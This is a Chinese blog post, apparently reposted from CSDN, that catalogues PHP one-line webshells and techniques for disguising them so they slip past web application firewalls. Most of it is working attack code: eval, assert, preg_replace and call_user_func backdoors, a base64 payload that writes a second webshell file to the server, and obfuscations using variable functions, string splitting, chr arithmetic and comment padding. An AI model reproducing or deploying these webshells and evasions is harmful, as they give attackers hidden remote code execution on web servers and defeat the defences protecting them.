PHP一句话木马及绕waf思路

发布于 2020-04-28  252 次阅读


PHP一句话木马:

1 .eval():

 <?php @eval($_POST['-7']); ?> 

eval函数将接受的字符串当做代码执行。

2.assert():

<?php  @assert ($_POST['-7']); ?>

assert函数将接受的字符串当做代码执行 。

3.preg_replace():

<?php @preg_replace("/abcd/e",$_POST['-7'],"abcdefg"); ?>

preg_replace 函数一个参数是一个正则表达式,按照 php的格式,表达式在两个/之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行。

4.call_user_func():

<?php @call_user_func('eval',$_POST['-7']); ?>

函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数。
call_user_func_array(): 方法同上,只是第二个参数要是一个数组,作为第一个参数的参数。

5. 用GET函数就构成了木马;利用文件操作的方法构建payload:

<?php @$_GET[a]($_GET[b]);?>
?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

让一句话木马变形绕过 WAF:
WAF通常会以关键字判断是否为一句话木马,所以要将一句话木马变形使用,从而绕过 waf:

1.php变量函数:

$a = "assert";
$a($_POST['-7']);
?>

2.str_replace函数:此函数用于将第三个参数中的第一个参数替换为第二个参数

$a = str_replace("b", "", "absbsbebrbt");
$a($_POST['-7']);
?>

3.base64_decode 函数:

$a = base64_decode("YXNzZXJ0");
$a($_POST['-7']);
?>

4.使用”.”连接字符串:

$b = "a"."ss";
$c = "er"."t";
$a = $b.$c;
$a($_POST['-7']);
?>

5.pares_str函数:

$str = "a=assert";
parse_str($str);/parse_str("a=assert");
$a($_POST['-7']);
?>

6.chr函数:

$a=range(1,200);$b=chr($a[96]).chr($a[114]).chr($a[114]).chr($a[100]).chr($a[113]).chr($a[115]); 
$b(${chr($a[94]).chr($a[79]).chr($a[78]).chr($a[82]).chr($a[83])}[chr($a[51])]);
?>

7.使用注释:

@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; 
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);
?>

版权声明:本文为CSDN博主「一个蝙蝠的故事」的原创文章
原文链接:https://blog.csdn.net/weixin_42299610/java/article/details/105046147


只有站在顶端的人才能定义所谓的善恶。